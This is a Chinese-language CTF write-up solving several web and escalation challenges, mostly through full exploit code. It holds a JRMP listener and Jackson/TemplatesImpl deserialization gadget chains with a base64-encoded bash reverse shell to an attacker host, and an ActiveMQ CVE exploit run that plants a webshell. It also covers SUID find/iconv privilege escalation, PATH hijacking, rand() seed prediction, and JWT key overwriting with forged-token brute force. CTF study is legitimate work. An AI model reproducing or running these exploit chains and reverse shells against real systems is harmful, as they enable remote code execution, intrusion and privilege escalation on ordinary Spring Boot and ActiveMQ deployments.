WEB

i-short-you-1

部分源码和依赖：

```
    @GetMapping({"/backdoor"})
    @ResponseBody
    public String hack(@RequestParam String payload) throws IOException,
SAXException, ClassNotFoundException {
        if (payload.length() > 220) {
            return "hacker!!!";
        }
        byte[] bytes = Base64.getDecoder().decode(payload);
        new ObjectInputStream(new ByteArrayInputStream(bytes)).readObject();
        return "success";
    }
```

```
    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.11</version>
        <relativePath/>
    </parent>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
    </dependencies>
```

这里的长度检测绕不了，并且220长度限制没有哪个gadget能直接通的，好在题目说明可以出网，然后可以尝试通过`JRMP`来反序列化payload，题目依赖是`springboot + jdk8`能用`Jackson + TemplatesImpl`来getShell。

首先，我们可以在目标服务器反序列化发起发起`DGC`通信，再构造一个恶意的RMI服务器与其通信返回恶意的序列化数据。如果用ysoserial生成的`JRMPClient`链的话，由于它用的是`RemoteObject`序列化后368字节有点多了，这里用`UnicastRef`就可以了，相当于`RemoteObject`的精简，序列化后长度只有116字节。

```
String host = "your_ip";
int port = 8090;

//反序列化时会调用dirty()方法。
```

```
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(ref);
objectOutputStream.close();
String res = Base64.getEncoder().encodeToString(barr.toByteArray());
System.out.println(res);
```

然后需要部署一个恶意的RMI服务器，这里参考了ysoserial的exploit/JRMPListener。

```
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import sun.rmi.transport.TransportConstants;

import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.*;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;


public class JRMPListener implements Runnable {

    private int port;
    private Object payloadObject;
    private ServerSocket ss;
    private Object waitLock = new Object();
    private boolean exit;
    private boolean hadConnection;
    private URL classpathUrl;

    @SuppressWarnings({"deprecation"})
    public JRMPListener(int port, Object payloadObject) throws
NumberFormatException, IOException {
        this.port = port;
        this.payloadObject = payloadObject;
        this.ss =
ServerSocketFactory.getDefault().createServerSocket(this.port);
    }

    public static BadAttributeValueExpException get_Jackson(String cmd)
throws Exception{
```

```
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 =
pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        CtClass ctClass = pool.makeClass("mysid");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = CtNewConstructor.make("public mysid()
{\n" +
                "Runtime.getRuntime().exec(\""+cmd+"\");\n"+
                "}", ctClass);
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();

        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "mysid");

        //利用 JdkDynamicAopProxy 进行封装使其稳定触发
        Class<?> clazz =
Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons =
clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesImpl);
        InvocationHandler handler = (InvocationHandler)
cons.newInstance(advisedSupport);
        setFieldValue(handler,"proxiedInterfaces",null);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(),
new Class[]{Templates.class}, handler);
        POJONode jsonNodes = new POJONode(proxyObj);

        BadAttributeValueExpException exp = new
BadAttributeValueExpException(null);
        Field val =
Class.forName("javax.management.BadAttributeValueExpException").getDeclared
Field("val");
        val.setAccessible(true);
        val.set(exp,jsonNodes);

        return exp;
    }

    public static final void main(final String[] args) throws Exception{

        //生成payload
        BadAttributeValueExpException payloadObject = get_Jackson("bash -c
{echo,YmFzaCAtaSAmPiAvZGV2L3RjcC95b3VyX2lwL3lvdXJfcG9ydCAwPCYx}|{base64,-
d}|{bash,-i}");

        try {
            int port = 8090;
            System.err.println("* Opening JRMP listener on " + port);
            JRMPListener c = new JRMPListener(port, payloadObject);
```

```
            c.run();
        } catch (Exception e) {
            System.err.println("Listener error");
            e.printStackTrace(System.err);
        }
    }

    @SuppressWarnings({"deprecation"})
    protected static Object makeDummyObject(String className) {
        try {
            ClassLoader isolation = new ClassLoader() {
            };
            ClassPool cp = new ClassPool();
            cp.insertClassPath(new ClassClassPath(Dummy.class));
            CtClass clazz = cp.get(Dummy.class.getName());
            clazz.setName(className);
            return clazz.toClass(isolation).newInstance();
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[0];
        }
    }

    public boolean waitFor(int i) {
        try {
            if (this.hadConnection) {
                return true;
            }
            System.err.println("Waiting for connection");
            synchronized (this.waitLock) {
                this.waitLock.wait(i);
            }
            return this.hadConnection;
        } catch (InterruptedException e) {
            return false;
        }
    }

    /**
     *
     */
    public void close() {
        this.exit = true;
        try {
            this.ss.close();
        } catch (IOException e) {
        }
        synchronized (this.waitLock) {
            this.waitLock.notify();
        }
    }

    public void run() {
        try {
            Socket s = null;
            try {
                while (!this.exit && (s = this.ss.accept()) != null) {
                    try {
```

```
146                         s.setSoTimeout(5000);
147                         InetSocketAddress remote = (InetSocketAddress)
s.getRemoteSocketAddress();
148                         System.err.println("Have connection from " +
remote);
149
150                         InputStream is = s.getInputStream();
151                         InputStream bufIn = is.markSupported() ? is : new
BufferedInputStream(is);
152
153                         // Read magic (or HTTP wrapper)
154                         bufIn.mark(4);
155                         DataInputStream in = new DataInputStream(bufIn);
156                         int magic = in.readInt();
157
158                         short version = in.readShort();
159                         if (magic != TransportConstants.Magic || version !=
TransportConstants.Version) {
160                             s.close();
161                             continue;
162                         }
163
164                         OutputStream sockOut = s.getOutputStream();
165                         BufferedOutputStream bufOut = new
BufferedOutputStream(sockOut);
166                         DataOutputStream out = new
DataOutputStream(bufOut);
167
168                         byte protocol = in.readByte();
169                         switch (protocol) {
170                             case TransportConstants.StreamProtocol:
171
 out.writeByte(TransportConstants.ProtocolAck);
172                                 if (remote.getHostName() != null) {
173                                     out.writeUTF(remote.getHostName());
174                                 } else {
175
 out.writeUTF(remote.getAddress().toString());
176                                 }
177                                 out.writeInt(remote.getPort());
178                                 out.flush();
179                                 in.readUTF();
180                                 in.readInt();
181                             case TransportConstants.SingleOpProtocol:
182                                 doMessage(s, in, out, this.payloadObject);
183                                 break;
184                             default:
185                             case TransportConstants.MultiplexProtocol:
186                                 System.err.println("Unsupported protocol");
187                                 s.close();
188                                 continue;
189                         }
190
191                         bufOut.flush();
192                         out.flush();
193                     } catch (InterruptedException e) {
194                         return;
195                     } catch (Exception e) {
```

```
                        e.printStackTrace(System.err);
                    } finally {
                        System.err.println("Closing connection");
                        s.close();
                    }
                }

            } finally {
                if (s != null) {
                    s.close();
                }
                if (this.ss != null) {
                    this.ss.close();
                }
            }

        } catch (SocketException e) {
            return;
        } catch (Exception e) {
            e.printStackTrace(System.err);
        }
    }

    private void doMessage(Socket s, DataInputStream in, DataOutputStream
out, Object payload) throws Exception {
        System.err.println("Reading message...");

        int op = in.read();

        switch (op) {
            case TransportConstants.Call:
                // service incoming RMI call
                doCall(in, out, payload);
                break;

            case TransportConstants.Ping:
                // send ack for ping
                out.writeByte(TransportConstants.PingAck);
                break;

            case TransportConstants.DGCAck:
                UID u = UID.read(in);
                break;

            default:
                throw new IOException("unknown transport op " + op);
        }

        s.close();
    }

    private void doCall(DataInputStream in, DataOutputStream out, Object
payload) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(in) {

            @Override
            protected Class<?> resolveClass(ObjectStreamClass desc) throws
IOException, ClassNotFoundException {
```

```
                if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
                    return ObjID[].class;
                } else if ("java.rmi.server.ObjID".equals(desc.getName()))
{
                    return ObjID.class;
                } else if ("java.rmi.server.UID".equals(desc.getName())) {
                    return UID.class;
                }
                throw new IOException("Not allowed to read object");
            }
        };

        ObjID read;
        try {
            read = ObjID.read(ois);
        } catch (java.io.IOException e) {
            throw new MarshalException("unable to read objID", e);
        }

        if (read.hashCode() == 2) {
            ois.readInt(); // method
            ois.readLong(); // hash
            System.err.println("Is DGC call for " +
Arrays.toString((ObjID[]) ois.readObject()));
        }

        System.err.println("Sending return with payload for obj " + read);

        out.writeByte(TransportConstants.Return);// transport op
        ObjectOutputStream oos = new JRMPListener.MarshalOutputStream(out,
this.classpathUrl);

        oos.writeByte(TransportConstants.ExceptionalReturn);
        new UID().write(oos);

        BadAttributeValueExpException ex = new
BadAttributeValueExpException(null);
        setFieldValue(ex, "val", payload);
        oos.writeObject(ex);

        oos.flush();
        out.flush();

        this.hadConnection = true;
        synchronized (this.waitLock) {
            this.waitLock.notifyAll();
        }
    }
    public static class Dummy implements Serializable {
        private static final long serialVersionUID = 1L;

    }
    static final class MarshalOutputStream extends ObjectOutputStream {


        private URL sendUrl;

```

```
305         public MarshalOutputStream(OutputStream out, URL u) throws
IOException {
306             super(out);
307             this.sendUrl = u;
308         }
309 
310         MarshalOutputStream(OutputStream out) throws IOException {
311             super(out);
312         }
313 
314         @Override
315         protected void annotateClass(Class<?> cl) throws IOException {
316             if (this.sendUrl != null) {
317                 writeObject(this.sendUrl.toString());
318             } else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
319                 writeObject(null);
320             } else {
321                 URL[] us = ((URLClassLoader)
cl.getClassLoader()).getURLs();
322                 String cb = "";
323 
324                 for (URL u : us) {
325                     cb += u.toString();
326                 }
327                 writeObject(cb);
328             }
329         }
330 
331         @Override
332         protected void annotateProxyClass(Class<?> cl) throws IOException {
333             annotateClass(cl);
334         }
335     }
336 
337     private static void setFieldValue(Object obj, String field, Object arg)
throws Exception{
338         Field f = obj.getClass().getDeclaredField(field);
339         f.setAccessible(true);
340         f.set(obj, arg);
341     }
342 }
```

1. 启动`JRMPListener`监听
2. 打`JRMPClient`链向`JRMPListener`发起DGC call
3. `JRMPListener`在建立连接后返回恶意payload
4. 反弹shell后直接cat /flag

i-short-you-2

部分源码：

```
1     @GetMapping({"/backdoor"})
```

```
    @ResponseBody
    public Object hack(@RequestParam String payload) {
        // real long
        if (payload.length() > 3333) {
            return "hacker!!!";
        }
        byte[] bytes = Base64.getDecoder().decode(payload);
        try {
            new ObjectInputStream(new
ByteArrayInputStream(bytes)).readObject();
        } catch (Exception e) {
            e.printStackTrace();
            return e;
        }
        return "success";
    }
```

依赖同上一题一样，长度限制变为了3333但是不出网了，需要使用一些方法构造更短的Jackson链，注意这里的靶机环境要求必须使用`JdkDynamicAopProxy`才可以继续触发调用链，然后我在尝试注入内存马的时候会出现找不到`RequestContextHolder`的错误，总之打内存马失败了这个环境感觉比较迷惑，不过好在返回了异常的堆栈跟踪信息，可以通过抛出异常的方法得到回显。

shorted_jackson：

```
package unserial;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.objectweb.asm.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashSet;
import java.util.LinkedHashSet;

import org.springframework.aop.target.HotSwappableTargetSource;
import sun.misc.Unsafe;

public class shorted_jackson {

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 =
pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
```

```
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);

        CtClass ctClass = pool.makeClass("mysid");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = CtNewConstructor.make("public mysid() {\n" +
                "Payload"+
                "}", ctClass);
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();

        org.objectweb.asm.ClassReader classReader = new org.objectweb.asm.ClassReader(bytes);
        org.objectweb.asm.ClassWriter classWriter = new org.objectweb.asm.ClassWriter(org.objectweb.asm.ClassWriter.COMPUTE_MAXS);
        ClassVisitor classVisitor = new ClassVisitor(Opcodes.ASM7, classWriter) {
            @Override
            public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
                MethodVisitor methodVisitor = super.visitMethod(access, name, descriptor, signature, exceptions);
                return new MethodVisitor(Opcodes.ASM7, methodVisitor) {
                    @Override
                    public void visitLineNumber(int line, Label start) {
                        // 不做任何操作，移除 LINENUMBER 指令
                    }
                };
            }
        };
        classReader.accept(classVisitor, ClassReader.SKIP_DEBUG);
        byte[] af_short = classWriter.toByteArray();

        Templates templatesImpl = (Templates) unsafe.allocateInstance(TemplatesImpl.class);
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{af_short});
        setFieldValue(templatesImpl, "_name", "mysid");

        //利用 JdkDynamicAopProxy 进行封装使其稳定触发
        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesImpl);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        setFieldValue(handler,"proxiedInterfaces",null);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
        POJONode jsonNodes = new POJONode(proxyObj);

        Object t = null;
        POJONode jsonObject = new POJONode(t);
```

```
        HotSwappableTargetSource v1 = new
HotSwappableTargetSource(jsonObject);

        XString test = (XString) unsafe.allocateInstance(XString.class);
        HotSwappableTargetSource v2 = new HotSwappableTargetSource(test);

        HashSet exp = new LinkedHashSet();
        exp.add(v1);
        exp.add(v2);
        setFieldValue(v1,"target",jsonNodes);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new
ObjectOutputStream(barr);
        objectOutputStream.writeObject(exp);
        objectOutputStream.close();
        byte[] payload = barr.toByteArray();

        String res = Base64.getEncoder().encodeToString(payload);
        System.out.println(res);
        System.out.println(URLEncoder.encode(res, "UTF-8"));
    }
    private static void setFieldValue(Object obj, String field, Object arg)
throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }

}
```

1. 在调用链上使用`HotSwappableTargetSource + XString`作为入口类代替了原来的`BadAttributeValueExpException`
2. 使用`javassist`创建恶意类免去了重写方法
3. 使用`Unsafe.allocateInstance()`方法实例化对象跳过类的初始化除去不必要的属性
4. 使用`ASM`移除`LINENUMBER`指令减小字节码长度
5. 把字节码分块写入文件，最后再读取调用

生成最终要加载的字节码：

```
CtClass ctClass = pool.makeClass("mysid");
CtConstructor constructor = CtNewConstructor.make("public mysid() throws
Exception{\n"+
        "        String out = new java.util.Scanner(new
java.lang.ProcessBuilder(new String[]
{\"ls\",\"/\"}).start().getInputStream(),\"utf-
8\").useDelimiter(\"\\\\A\").next();\n" +
        "throw new Exception(out);"+
        "}", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
System.out.println(Base64.getEncoder().encodeToString(bytes));
```

分块写入：

```
CtConstructor constructor = CtNewConstructor.make("public mysid(){\n" +
        " String path = \"/tmp/mysid.class\";\n" +
        "        java.io.File file = new java.io.File(path);\n" +
        "        file.createNewFile();\n" +
        "        java.io.FileOutputStream fos = new
java.io.FileOutputStream(path, true);\n" +
        "        String data = \"分块的Base64字节码\";\n" +
        "        fos.write(data.getBytes());\n" +
        "        fos.close();" +
        "}", ctClass);
```

Base64解码：

```
CtConstructor constructor = CtNewConstructor.make("public mysid(){\n" +
        "        String s = \"/tmp/mysid.class\";\n"+
        "        java.io.FileInputStream i = new
java.io.FileInputStream(s);\n" +
        "        byte[] d = new byte[字节码总长度];\n" +
        "        i.read(d);\n" +
        "        java.io.FileOutputStream o = new
java.io.FileOutputStream(s);\n" +
        "        o.write(java.util.Base64.getDecoder().decode(new
String(d)));\n" +
        "}", ctClass);
```

URLClassLoader加载字节码：

```
CtConstructor constructor = CtNewConstructor.make("public mysid(){\n" +
        "        String p = \"file:/tmp/\";\n"+
        "        java.net.URLClassLoader u = new java.net.URLClassLoader(new
java.net.URL[]{new java.net.URL(p)});\n" +
        "        Class clazz = u.loadClass(\"mysid\");\n" +
        "        clazz.newInstance();\n" +
        "}", ctClass);
```

最后在返回的跟踪信息里拿到命令执行回显。

Reverse and Escalation

使用默认的admin/admin账号登入ActiveMQ后台，这里利用CVE-2023-46604或CVE-2023-46604都可以，在vulhub找一个exp：[vulhub/activemq/CVE-2022-41678/poc.py]

```
D:\Download>python poc.py -u admin -p admin http://139.196.183.57:31577/
2024-02-29 20:26:57,953 - INFO - choice MBean 'org.apache.logging.log4j2:type=5faeada1' automat
ically
2024-02-29 20:26:58,955 - INFO - update log config
2024-02-29 20:26:59,957 - INFO - write webshell to http://139.196.183.57:31577/admin/shell.jsp?
cmd=id
2024-02-29 20:27:00,961 - INFO - restore log config
```

执行命令反弹shell后进行提权，发现`/usr/bin/find`有ssid权限可以操作一手。

```
find . -exec "cat /flag" -p \; -quit
```

Reverse and Escalation.II

前面getShell部分同上一题，`/usr/bin/find`依然有ssid权限但是执行后输出了加法题，这里需要逆向看看，其实就是托到ida里按F5（

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  unsigned int v4; // eax
  unsigned int v6; // [rsp+20h] [rbp-10h]
  unsigned int v7; // [rsp+24h] [rbp-Ch]
  int i; // [rsp+28h] [rbp-8h]
  int v9; // [rsp+2Ch] [rbp-4h]

  v3 = time(0LL);
  srand(v3);
  v9 = 0;
  for ( i = 1; i < argc; ++i )
  {
    v7 = rand() % 23333;
    v6 = rand() % 23333;
    printf("%d + %d = \n", v7, v6);
    if ( v7 + v6 != atoi(argv[i]) )
    {
      puts("wrong answer!");
      return 1;
    }
    v4 = atoi(argv[i]);
    printf("%d correct!\n", v4);
    if ( ++v9 > 38 )
    {
      setuid(0);
      system("ls");
      return 0;
    }
  }
  return 0;
}
```

需要一次传入38个以上的正确答案，因为随机数种子和当前时间有关，我们可以用`time(0LL)+20`作为种子得到20秒后的答案，然后不断输入，在20秒后即可全部correct，注意一下这里的`time()`方法得到的是编译时的时间而不是运行时的时间，也就是说你如果错过了这20秒需要重新编译再运行。

```c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(){
        unsigned int v3 = time(0)+10;
        unsigned int v7;
        unsigned int v6;
        srand(v3);

        for (int i = 0; i < 40; ++i){
                v7 = rand() % 23333;
                v6 = rand() % 23333;
                printf("%d\n", v7+v6);
        }
}
```

最后的提权需要用环境变量劫持ls命令。

```
echo "cat /flag" > /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
```

火箭大头兵

题目需要我们登入Liki4的账号，而服务器是采用JWT来鉴权的，想要利用JWT进行身份伪造需要得到签名的密钥。

```
fn init_ctx() -> Map<String, Value> {
    context.insert(String::from("_system_jwt_key"),
Value::String(randstr(32)));
    context
}
```

审计源码发现个人信息页面有一处修改上下文变量的地方，并且变量名是`username_key`，这个username和key都是可控的，所以注册一个名为_system_jwt的账号，然后在个人主页更新key/123，这样密钥就被我们更改为123了。

```
#[get("/profile")]
pub fn profile_page(
    user_from_jwt: UserJwtClaim,
    ctx_state: &State<CtxState>,
    db_state: &State<DbState>,
```

```
) -> Template {
    use crate::db::models::User;
    use crate::db::schema::users::dsl as users_dsl;

    let connection = &mut db_state.db.db_pool.get().unwrap();

    let user_id = users_dsl::users
        .filter(users_dsl::id.eq(&user_from_jwt.id))
        .filter(users_dsl::username.eq(&user_from_jwt.username))
        .select(users_dsl::id)
        .first::<i64>(connection)
        .unwrap();
    let result: Vec<User> = users_dsl::users
        .filter(users_dsl::id.eq(&user_id))
        .load::<User>(connection)
        .unwrap();
    let bio: HashMap<String, Value> =
serde_json::from_str(&result[0].bio.as_str()).unwrap();
    let mut ctx = ctx_state.ctx.lock().unwrap();
    for (key, value) in bio {
        ctx.insert(format!("{}_{}", &user_from_jwt.username, key), value);
    }

    ctx.insert(
        "_current_user".to_string(),
        Value::String(user_from_jwt.username),
    );
    let c = ctx.clone();
    ctx.insert("ctx".to_string(), Value::Object(c));
    Template::render("profile", &*ctx)
}
```

接下来就是伪造Liki4，不过还有一个用户id我们不知道，这里需要爆破一下。

```
use {
    serde::{Serialize},
    jsonwebtoken::{encode, DecodingKey, EncodingKey, Header},
    serde_json::{Value},
};
use std::fs::File;
use std::io::{self, Write};
use std::io::prelude::*;


fn main() -> Result<(), Box<dyn std::error::Error>> {
    pub struct Jwt {
        encode_key: EncodingKey,
        decode_key: DecodingKey,
    }
    #[derive(Debug, Serialize)]
    pub struct UserJwtClaim {
        pub id: i64,
        pub username: String,
        pub exp: u64,
    }

```

```
    impl Jwt {
        pub fn new(key: &String) -> Self {
            Self {
                encode_key: EncodingKey::from_secret(key.as_bytes()),
                decode_key: DecodingKey::from_secret(key.as_bytes()),
            }
        }

        pub fn sign<T>(&self, claims: T) -> Result<String, String>
        where
            T: Serialize,
        {
            encode(&Header::default(), &claims,
&self.encode_key).map_err(|err| err.to_string())
        }

    }
    let secret = Value::String(String::from("1")).to_string();
    let jwt = Jwt::new(&secret);

    let username = String::from("Liki4");
    let mut file = File::create("tmp.txt")?;
    for i in 1..=1732 {
        let token = jwt
            .sign(UserJwtClaim {
                id: i,
                username: username.clone(),
                exp: 1708973718,
            })
            .map_err(|_| io::Error::new(io::ErrorKind::Other, "JWT sign
failed"))?;
        writeln!(file, "{}", token)?;
    }
    Ok(())

}
```

使用burp的intruder爆破出Liki4账号在私人留言板上就可以拿到flag了。

Whose Home?

默认用户admin/adminadmin登入qb后台，发现有命令执行的功能，直接反弹shell后面利用iconv命令的ssid权限读flag。

```
LFILE=/flag
iconv -f utf-8 -t utf-8 "$LFILE"
```